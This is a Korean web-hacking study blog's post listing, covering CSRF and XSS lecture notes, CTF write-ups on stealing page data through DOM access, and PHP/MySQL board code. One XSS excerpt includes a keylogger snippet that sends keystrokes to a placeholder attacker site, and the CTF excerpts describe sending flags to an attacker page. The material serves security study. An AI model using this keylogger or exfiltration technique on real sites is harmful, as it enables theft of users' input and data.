본문 바로가기

웹 모의해킹 스터디

(33)
12주차 수업 정리 (CSRF, XSS와 CSRF 차이, CSRF 취약점, 공격 예시) CSRF (Cross Site Request Forgery) 피해자가 서버로 임의의 요청을 하게 만드는 것 XSS vs CSRF XSS : 클라이언트 측 스크립트를 삽입하는 공격 CSRF : 피해자가 서버로 공격자의 의도가 담긴 요청을 하게 만드는 공격 보통 서치를 해보면 xss는 클라이언트 측 공격이고 csrf는 서버 측 공격이라고 설명하는 경우가 많은데 엄밀히 말하면 아님. 하지만 간혹 면접관분들이 이런 식으로 이해하고 있는 경우가 있으니 이렇게 얘기해도 되긴 함. CSRF가 XSS를 만나면 파급력이 커짐 CSRF를 설명할 때 XSS 형태로 보여주는 경우가 많은데, 이는 csrf가 xss를 만나면 파급력이 훨씬 커지기 때문임. 하지만 xss 형태 말고도 피해자에게 정보를 바꾸는 url (GET 방식)..
[JavaScript] CTF - Steal Info 문제 풀이 (Dom 접근조작으로 중요정보 탈취) 중요 정보가 있는 페이지와 똑같은 페이지에서 This is a Very Secret Info. 부분의 class가 'card-text'인 것을 확인함 document.getElementByClassName('card-text')를 이용해서 정보를 추출하면 될 것으로 예상됨 게시글 부분에서 스크립트가 삽입되는 것을 확인했으니 iframe 태그로 다른 페이지에 있는 정보를 추출해낼 것이다 으로 현재 게시글 페이지에 중요 정보가 있는 페이지를 삽입한다. 이후 스크립트로 중요 정보가 있는 페이지에 접근하여 중요 정보를 img 태그로 공격자 페이지에 전송한다. 자세한 절차는 아래 게시글에 정리해두었다 https://studysteadily.tistory.com/28 11주차 수업 정리 - 2 (JavaScript..
11주차 수업 정리 - 2 (JavaScript DOM, 정보 탈취) JavaScript를 이용한 페이지 리다이렉트 1. 2. JavaScript를 이용한 주소창 변조 Reflected XSS 공격에서 URL이 너무 길어서 의심스러워 보일때 사용한다. JavaScript로 DOM 객체 접근 전체 소스코드에 접근 document 특정 태그에 접근 document.getElementById document.getElementByClassName 특정 태그의 속성 가져오기 document.getElementById('') .getElementsByClassName('') 등 태그 안의 text 가져오기 .innerHTML 등 좀 더 자세하게는 여기서 https://studysteadily.tistory.com/23 Javascript DOM 접근 및 조작 (CRUD, 이벤트 핸..
[JavaScript] CTF - Basic Script Prac 문제 풀이 (Dom 접근조작으로 중요정보 탈취) 문제 URL의 user 값을 임의로 변경했을 때 개인정보의 이름 또한 바뀌는 것을 확인 user 값을 sdf">로 변경한 요청을 보낸 후 응답을 통해 스크립트가 삽입되는 것을 확인 +) 마이페이지에 들어가면 대놓고 Flag Here라고 적혀있다. HTML 코드를 확인해보면 name 속성 값이 info로 되있는 것을 확인할 수 있다. 이걸 이용해서 플래그가 있는 태그에 접근한 후 placeholder 속성 값을 가져오면 된다. user 값에 관리자의 중요 정보가 공격자 페이지로 전달되도록 하는 img 태그를 작성함 (공격자 페이지는 Request bin을 이용함) 관리자가 위의 URL에 접근하여 flag가 공격자 페이지로 전송되게 함 공격자 페이지에서 flag 확인
11주차 수업 정리 - 1 (XSS 공격 시나리오, XSS 대응 방안, 필터링은 대응방안이 아니다) XSS 공격 시나리오1. 쿠키 탈취 2. 악의적인 페이지로 리다이렉트 Reflected XSS 공격이 통하는 곳에서 3. 키로거 이용한 정보 탈취 el.addEventListener('keyup', () => { new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); }); XSS 대응 방안 - HTML Entityxss 공격의 대응 방안인 HTML Entity와 관련해서는 아래 글에 작성해두었다.https://studysteadily.tistory.com/9 XSS(Cross Site Scripting) 공격이란? (종류, 방어기법)1. XSS 공격이란? XSS 공격은 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사..
[php/mysql] 게시판 글 삭제 구현하기 가장 간단한 삭제 페이지다 이제야 비로소 글 작성, 보기, 수정, 삭제 모두 구현이 완료되었다 [delete.php]
[php/mysql] 게시판 글 수정 구현하기 글 수정 페이지는 글 작성 페이지와 구현이 비슷하니 참고하면 좋을 듯 하다! [php/mysql] 게시판 글 작성 구현하기 게시글을 저장하기 위한 db의 board 테이블이다. 간단히 인덱스 번호, 작성자 이름, id, 제목, 내용, 작성 날짜만 저장되도록 했다. [blank.js] function ch_blank() { const title = document.getElementById("title"); const studysteadily.tistory.com [modify.php] 게시글 수정 작성자 제목
[php/mysql] 게시판 글 읽기 구현하기 글 읽기 구현은 생각보다 간단했다. 따로 데이터를 처리하는 php 파일이 필요 없고, 기존의 로그인과 회원가입 페이지에서 썼던 css만 조금 수정을 해주었다. 코드는 여기 를 참고했다. [read.php] 작성자 목록